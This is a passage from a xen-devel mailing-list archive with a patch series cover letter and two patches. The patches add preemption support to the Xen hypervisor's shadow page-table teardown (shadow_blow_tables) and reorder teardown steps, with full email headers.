 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/L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WPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1785248365-4ABD8CFC-90A3260C/0/0
X-purgate-type: clean
X-purgate-size: 1167

Work was partially done in an attempt to correct behavior rather than
deprecating shadow mode, but the part yet to be done were evaluated as
too intrusive / involved for a component that was consider to deprecate
already before. Nevertheless I'm submitting this, to consider whether
to still commit some of it. Some parts are ack-ed, so the ones at the
beginning of the series could in principle go in right away. Yet I
think I'll leave some time to determine whether to put in any of this
in the first place.

01: shadow: add preemption support to shadow_blow_tables()
02: shadow: blow away tables first when tearing down
03: shadow: 1-bit-disable doesn't need to detach old tables
04: shadow: reduce amount of work to do by shadow_unhook_mappings()
05: shadow: make clean-dirty-bitmap post-processing preemptable
06: mm: make more of log-dirty mode enable/disable preemptable
07: shadow: fold _shadow_prealloc() with shadow_blow_tables()
08: shadow: make log-dirty mode enable/disable properly preemptable
09: shadow: make forced (L1TF) mode enable properly preemptable
10: shadow: limit the number of pages which may be in use as shadows

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:20:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:20:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374353.1621504 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woifZ-0000qL-A0; Tue, 28 Jul 2026 14:20:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374353.1621504; Tue, 28 Jul 2026 14:20:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woifZ-0000qE-7D; Tue, 28 Jul 2026 14:20:33 +0000
Received: by outflank-mailman (input) for mailman id 1374353;
 Tue, 28 Jul 2026 14:20:32 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woifY-0000oK-9I
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:20:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woifX-00HNLM-LE
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:20:31 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68baa1-2eae-0a2a0a5409dd-0a2a450ba534-38
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:20:31 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68baaf-b7e8-0a2a450b0019-d155dd35b4af-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:20:31 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-47f81a3ccf9so2477125f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:20:31 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c63678sm55327159f8f.29.2026.07.28.07.20.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:20:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248431; x=1785853231; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=3K1J9tuZW+tws4Xjl6Dh8DcJ/c/koNpFTzCSwtVmdwo=;
        b=eqUjGelfrWah4/b2cFwGSGNKZoX6DJjPp2506KFasGwJObiv3dr59ULpK42qCRY6td
         LjgdXFLqLzj84yqOWIXpQTsgSUI1noYYJgEAOhZ/bUSueB1FSlWjmHidTU4Vwym8397+
         Zj6ZHyAhzHKewnAW90oBU+oXyzo/cqMvpdywhNheZN488nyprOL4NVy8Q/nol2Fs6mL1
         Is2ke36pZjdj/ZYy2cOoyt2h/03M8XtoExynnTfVQHKqYFXDK2X63VF0MUdkO/HZ7FGJ
         nZE6dulCDpvmMK40eNYW6bnIhb0xh1wChL1E01Ry3ruacI+mJpYorq+GmNefRJ9QVRMP
         c/vA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248431; x=1785853231;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=3K1J9tuZW+tws4Xjl6Dh8DcJ/c/koNpFTzCSwtVmdwo=;
        b=eMYKrMaAj8PmN8AOaY1oej/mtjjg2d2HUmFx7zx347vcHsR6kdDnFnvTQWZgGaoorG
         q7H29qqGKzGKCsN1oISApXkJVWXHtm41bhFlq4H1AgjDMdhgKLGqmVaOejXD8iDEESrg
         onfDb9vqHlxba7/vyhYhnGIgl7bUlhLHba5ESJo92jPEK/QaUAHf1ErwkZu9kry1R11R
         ekW4nv8r6a1L+xmCeB7vmonHa4jMulc4hlHzsPMWLQIn6S9gwcp/e3fZ5n6dwhMlN4Hi
         jsbeMPRoIVBeJnXAn3mOe01XQ/vGmWZJUXJSXJuzWaB2YT5BXEgfVZfEfh1kH3NeKLAJ
         SJ/A==
X-Gm-Message-State: AOJu0Yw8fS6WFY4d4blt0jhIXwfQmbnyHoumxqzBfBRmQiqUG9RoF21E
	chAMIBC1vjWnzAVM1uX3DkFWXrlQC4DO/exkDTa/jlCLNeTYB9Y+GnnvQgzGCAsktRgUv8w3doK
	Nhsh9Zg==
X-Gm-Gg: AR+sD111UsVt74Z6Hwh5JL2yAy7hZHiLAeM8jWt8U822uWIrU/D2dmH5uL4og1obUYI
	sYHZtKOEYN9emEhC2JvU2pnYm0xJvCky9XOYblj3m6tZWDMsb/ToZUv2kJrp31vC5zF/aT+Yja/
	S/ZA2i2mB7iibOldlQp1SkSN5IB7Ee5QDoAbzWnOaqtB/fdcvdTQBnDhhEzcdQ3W1eSiI+7MoUZ
	Z+MShNQto7urgyJRxdbkNETtKHwviFIabuV/oFkKNIoAaqtqdGSaxevVXIXZG4HjG5QggDp8aGy
	OREmaeB3LBsbwezxLAzhkvBCLBZMSS68ll405ariteSo3HdAyJQubxv2ssjy+1wMJgiriuHRGb6
	4lCiFZChPpIYWm7WlNYaNmLhtaCC/QU8PorQ+aAxrVWWDdrogFaFWMS5dy7flBdN7ZGREGEbXfz
	D72MIoITQPYCxHjUN8FAWNjkw9zQfqXswf6oYDKALEe22MJStY32ZCpVZSBlRRR/JD2vu6suh0m
	Qqd
X-Received: by 2002:a05:6000:3110:b0:46e:6201:3ebc with SMTP id ffacd0b85a97d-47fb1f18031mr3328707f8f.41.1785248430582;
        Tue, 28 Jul 2026 07:20:30 -0700 (PDT)
Message-ID: <5fe59b1f-70d9-46e7-b7f8-c5e8321d451a@suse.com>
Date: Tue, 28 Jul 2026 16:20:29 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 01/10] x86/shadow: add preemption support to
 shadow_blow_tables()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWN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NG-42698a/1785248431-182F49EA-C54BFBF1/0/0
X-purgate-type: clean
X-purgate-size: 7208

From: Roger Pau MonnÃ© <roger.pau@citrix.com>

The use of shadow_blow_tables() in the domain teardown path (added for
XSA-410) actually requires preemption support itself for security
reasons, specially as the pages freed by shadow_blow_tables() are not
returned to the shadow page pool, but instead freed to the hypervisor.

Note that we require flushing the TLB when a need for preemption arises
on the 2nd pass, or else we risk returning to guest context with stale
TLB entries. (There's no similar need on the 1st pass, as per
_shadow_prealloc().) While preemption will be enabled only when tearing
down domains (and hence flushing has become meaningless by that point),
keep the function structured to no bypass the flush, just in case.

Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Jan Beulich <jbeulich@suse.com>
Acked-by: Tim Deegan <tim@xen.org>
---
Changes since v12:
 - Re-base.

Changes since v11:
 - Re-base in particular past the XSA-410 series.

Changes since v9:
 - Extend a comment. Commit message adjustments.

Changes since v8:
 - Use difference, not sum, of total and free pages to determine whether
   progress was made.
 - Check for preemption on every iteration of the 2nd pass, as long as
   some progress was made.
 - Don't "goto out" on the 1st pass, to skip the TLB flush.

Changes since v6:
 - Rearrange order of preemption condition checks.
 - Only avoid shadow_blow_tables() when the domain is dead (ie: all
   vCPUs are stopped).

Changes since v5:
 - Add comment, remove no functional change.
 - Do not check for preemption on every loop.

Changes since v4:
 - New in this version.

--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -454,12 +454,23 @@ bool shadow_prealloc(struct domain *d, u
 
 /* Deliberately free all the memory we can: this will tear down all of
  * this domain's shadows */
-void shadow_blow_tables(struct domain *d)
+void shadow_blow_tables(struct domain *d, bool *preempted)
 {
     struct page_info *sp, *t;
     struct vcpu *v;
     mfn_t smfn;
     int i;
+    unsigned int done = 0;
+
+    /*
+     * When the domain is dying a call to shadow_blow_tables() will be
+     * performed from the teardown path with preemption support, ignore any
+     * other calls as we want to do the final teardown with preemption support.
+     * Teardown of shadow related data can only be avoided when all domain
+     * vCPUs are stopped.
+     */
+    if ( unlikely(d->is_dying) && !preempted )
+        return;
 
     /* Nothing to do when there are no vcpus yet. */
     if ( !d->vcpu[0] )
@@ -470,17 +481,46 @@ void shadow_blow_tables(struct domain *d
     {
         smfn = page_to_mfn(sp);
         sh_unpin(d, smfn);
+        if ( preempted && !(++done & 0xff) && general_preempt_check() )
+        {
+            *preempted = true;
+            return;
+        }
     }
 
     /* Second pass: unhook entries of in-use shadows */
     for_each_vcpu(d, v)
         for ( i = 0; i < ARRAY_SIZE(v->arch.paging.shadow.shadow_table); i++ )
             if ( !pagetable_is_null(v->arch.paging.shadow.shadow_table[i]) )
+            {
+                unsigned int num = d->arch.paging.total_pages -
+                                   d->arch.paging.free_pages;
+
                 shadow_unhook_mappings(
                     d,
                     pagetable_get_mfn(v->arch.paging.shadow.shadow_table[i]),
                     0);
 
+                /*
+                 * Make sure we are making progress before yielding: if domain
+                 * is dying progress will be seen by total_pages decreasing, if
+                 * not dying free_pages will increase.  In any case the gap
+                 * between both will shrink.
+                 *
+                 * Note that with the paging lock held the values used in the
+                 * calculation are safe from being altered by other hypercalls.
+                 */
+                if ( preempted &&
+                     (num != d->arch.paging.total_pages -
+                             d->arch.paging.free_pages) &&
+                     general_preempt_check() )
+                {
+                    *preempted = true;
+                    goto out;
+                }
+            }
+
+ out:
     /* Make sure everyone sees the unshadowings */
     guest_flush_tlb_mask(d, d->dirty_cpumask);
 }
@@ -490,7 +530,7 @@ void shadow_blow_tables_per_domain(struc
     if ( shadow_mode_enabled(d) && domain_vcpu(d, 0) )
     {
         paging_lock(d);
-        shadow_blow_tables(d);
+        shadow_blow_tables(d, NULL);
         paging_unlock(d);
     }
 }
@@ -2254,7 +2294,9 @@ void shadow_teardown(struct domain *d, b
      * in-use pages, as _shadow_prealloc() will no longer try to reclaim pages
      * because the domain is dying.
      */
-    shadow_blow_tables(d);
+    shadow_blow_tables(d, preempted);
+    if ( preempted && *preempted )
+        goto out;
 
 #if (SHADOW_OPTIMIZATIONS & (SHOPT_VIRTUAL_TLB|SHOPT_OUT_OF_SYNC))
     /* Free the virtual-TLB array attached to each vcpu */
@@ -2492,7 +2534,7 @@ static int cf_check sh_enable_log_dirty(
         /* This domain already has some shadows: need to clear them out
          * of the way to make sure that all references to guest memory are
          * properly write-protected */
-        shadow_blow_tables(d);
+        shadow_blow_tables(d, NULL);
     }
 
 #if (SHADOW_OPTIMIZATIONS & SHOPT_LINUX_L3_TOPLEVEL)
@@ -2530,7 +2572,7 @@ static void cf_check sh_clean_dirty_bitm
     /* Need to revoke write access to the domain's pages again.
      * In future, we'll have a less heavy-handed approach to this,
      * but for now, we just unshadow everything except Xen. */
-    shadow_blow_tables(d);
+    shadow_blow_tables(d, NULL);
     paging_unlock(d);
 }
 
--- a/xen/arch/x86/mm/shadow/hvm.c
+++ b/xen/arch/x86/mm/shadow/hvm.c
@@ -979,7 +979,7 @@ sh_write_p2m_entry_post(struct p2m_domai
        again), so it doesn't matter too much. */
     if ( d->arch.paging.shadow.has_fast_mmio_entries )
     {
-        shadow_blow_tables(d);
+        shadow_blow_tables(d, NULL);
         d->arch.paging.shadow.has_fast_mmio_entries = false;
     }
 }
@@ -1049,7 +1049,7 @@ int shadow_track_dirty_vram(struct domai
          * Throw away all the shadows rather than walking through them
          * up to nr times getting rid of mappings of each pfn.
          */
-        shadow_blow_tables(d);
+        shadow_blow_tables(d, NULL);
 
         gdprintk(XENLOG_INFO, "tracking VRAM %lx - %lx\n", begin_pfn, end_pfn);
 
--- a/xen/arch/x86/mm/shadow/private.h
+++ b/xen/arch/x86/mm/shadow/private.h
@@ -471,7 +471,7 @@ mfn_t oos_snapshot_lookup(struct domain
 #endif /* (SHADOW_OPTIMIZATIONS & SHOPT_OUT_OF_SYNC) */
 
 /* Deliberately free all the memory we can: tear down all of d's shadows. */
-void shadow_blow_tables(struct domain *d);
+void shadow_blow_tables(struct domain *d, bool *preempted);
 
 /*
  * Remove all mappings of a guest frame from the shadow tables.



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:20:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:20:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374357.1621513 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woifv-0001PW-M4; Tue, 28 Jul 2026 14:20:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374357.1621513; Tue, 28 Jul 2026 14:20:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woifv-0001PP-Ib; Tue, 28 Jul 2026 14:20:55 +0000
Received: by outflank-mailman (input) for mailman id 1374357;
 Tue, 28 Jul 2026 14:20:54 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woifu-0001Nv-81
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:20:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woift-004wIj-Cz
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:20:53 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68babd-bab6-0a2a0a5309dd-0a2a45098546-16
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:20:53 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bac5-be1a-0a2a45090019-d1558029c9fd-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:20:53 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-493b966dd74so24556855e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:20:53 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957d41ed1bsm267580865e9.2.2026.07.28.07.20.51
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:20:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248453; x=1785853253; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=ZTRJOiX4KZgYvcy+AGnnd1X5rKWWENr2//PiRreu6o4=;
        b=YCZPaELsVwtbY/rdmSe1OQZ0wb6v1McG8ctdla4tlf/mNq029OzucSn1VZOL+8iZQH
         mQaPOIXVLUwKRt/onYvhrtak6V5I6VFIY9nzGvKvsO9XHQzZ8BQJsoMC0/KGVkd6a2Fp
         BxTG6bCA+ct+TeyiAwD2GvzLnBo2611qIgVC2/MsqAudmAertHJs0sAO9WtHQeoVNi4b
         VPqwkPWlfvwuz2XNWfXeA0grIA/vogj8pYMggWUmA1+HE+O/yLPons28f3xY+OlGDMWi
         t1d+OcWLu4Xz+4O1sadCshilS4OpUkaia825FyMivjG9jzqFlM7sV/SVQoIAB3G9o2oP
         +/Pw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248453; x=1785853253;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=ZTRJOiX4KZgYvcy+AGnnd1X5rKWWENr2//PiRreu6o4=;
        b=H7sPlbsVrNhF2jlIsRsZz1f0F+TSfd+8aKpUuBqE9buunONBG3l8uc8u/3EulfokWx
         FDN/shC9/Gk2qSXsu62LDPckn/UZyzDSra0eyUojGKiX18ivDoeQw0KnFxrKaR5dwbkQ
         OqiQ+wgUg3OgNAoMuCuEtNneTJANf9r7lLeDr0+DFf4pxzhEzQP0lrU6qyboqs9iUHcQ
         O4lklG03QuFiwFa/JnpTKzcXFXveZSIv5zgogM6EnJXyMAwDnjQQ9at3ZuxapCeY7jpD
         who3r+DpXx+z7MVroweYomj+IziaIam66FnrHsD2/Oqc5pBTj1aE8AF+9SFVDCVu7/1D
         G/gw==
X-Gm-Message-State: AOJu0Yx1ouqi5URLRcFweBHw1ifb/3LBqBQK1gYgBrcwgef4p5puOcgK
	RkRtTBmcy4MPgRhly93hJqm33PAjL3FqJsnNrxMnx8oEQn8aXp2Co9r+mJq8XSuzKWJMljX08ki
	AKOUZjg==
X-Gm-Gg: AR+sD12d/BbogeAES3wOaOercuLKICmzUpGemoOBtHx57E7NUE8iqaR2I4Vj0h9H8Xz
	2j68RJZby4wjHza2u0hRo+4Q5VEQd9m6D8HMvngzfA2cCxH5yHVNl4k6FDWLy/BpHH3+uVWBwsj
	LhY8DP/zEQtFh8Si1ueEdQ256iDTlJxUA6RiTVGM2RBWpdqjXF4IQQgRVsZhmyOKf0szh+o3D97
	cBYXzSl+s6z7MgKj7H7ydP0IThPJTNOJiiLgPocGznntsp6oSYpdd5p/9X3edXbE1zv/ZZyu+56
	PJdCOsjLfANwew2zIvBh6U7dF9lBXPMNMV+6S0lrjd+4xO1bJTK6EQil5LljJZGBZFIeKnPq6uC
	GLWQ9xMZLh6lr910t2cCx+eNZ0LnPUSYUjBvt3R6XpZakiowzVu+dOTB5BKfCarhBrCH/qFQR8m
	+qmelKV9Ye+/LnNRp1lJtYO4v4bv7nlRyEPgSm6XfvAG2JIT6FruY1Ge6+hsEjjP3b5Q==
X-Received: by 2002:a05:600c:1c27:b0:493:e974:41ac with SMTP id 5b1f17b1804b1-496c643c6f9mr29533425e9.16.1785248452602;
        Tue, 28 Jul 2026 07:20:52 -0700 (PDT)
Message-ID: <75dede35-643c-4deb-a50f-f0291b96aa2c@suse.com>
Date: Tue, 28 Jul 2026 16:20:51 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 02/10] x86/shadow: blow away tables first when tearing
 down
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 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71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1785248453-FC817034-6B0A6AA9/0/0
X-purgate-type: clean
X-purgate-size: 1670

With shadow_blow_tables() but not sh_detach_old_tables() (called by
shadow_vcpu_teardown()) being preemptable, move the invocation of the
former ahead. This way future finer grained preemption checks applied
to shadow_blow_tables() will further benefit teardown behavior.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
Acked-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
---
v13: New.

--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -2279,6 +2279,17 @@ void shadow_teardown(struct domain *d, b
     ASSERT(d->is_dying);
     ASSERT(d != current->domain);
 
+    /*
+     * Reclaim all shadow memory so that shadow_set_allocation() doesn't find
+     * in-use pages, as _shadow_prealloc() will no longer try to reclaim pages
+     * because the domain is dying.
+     */
+    paging_lock(d);
+    shadow_blow_tables(d, preempted);
+    paging_unlock(d);
+    if ( preempted && *preempted )
+        return;
+
     /* TODO - Remove when the teardown path is better structured. */
     for_each_vcpu ( d, v )
         shadow_vcpu_teardown(v);
@@ -2289,15 +2300,6 @@ void shadow_teardown(struct domain *d, b
 
     paging_lock(d);
 
-    /*
-     * Reclaim all shadow memory so that shadow_set_allocation() doesn't find
-     * in-use pages, as _shadow_prealloc() will no longer try to reclaim pages
-     * because the domain is dying.
-     */
-    shadow_blow_tables(d, preempted);
-    if ( preempted && *preempted )
-        goto out;
-
 #if (SHADOW_OPTIMIZATIONS & (SHOPT_VIRTUAL_TLB|SHOPT_OUT_OF_SYNC))
     /* Free the virtual-TLB array attached to each vcpu */
     for_each_vcpu(d, v)



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:21:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:21:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374368.1621522 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woigR-0001ys-S5; Tue, 28 Jul 2026 14:21:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374368.1621522; Tue, 28 Jul 2026 14:21:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woigR-0001yl-PU; Tue, 28 Jul 2026 14:21:27 +0000
Received: by outflank-mailman (input) for mailman id 1374368;
 Tue, 28 Jul 2026 14:21:26 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woigQ-0001yQ-5F
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:21:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woigP-00HNbQ-HT
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:21:25 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bada-2eae-0a2a0a5409dd-0a2a45079dd6-16
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:21:25 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bae5-b4ea-0a2a45070019-d155802eec42-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:21:25 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-4954dff6536so27595185e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:21:25 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
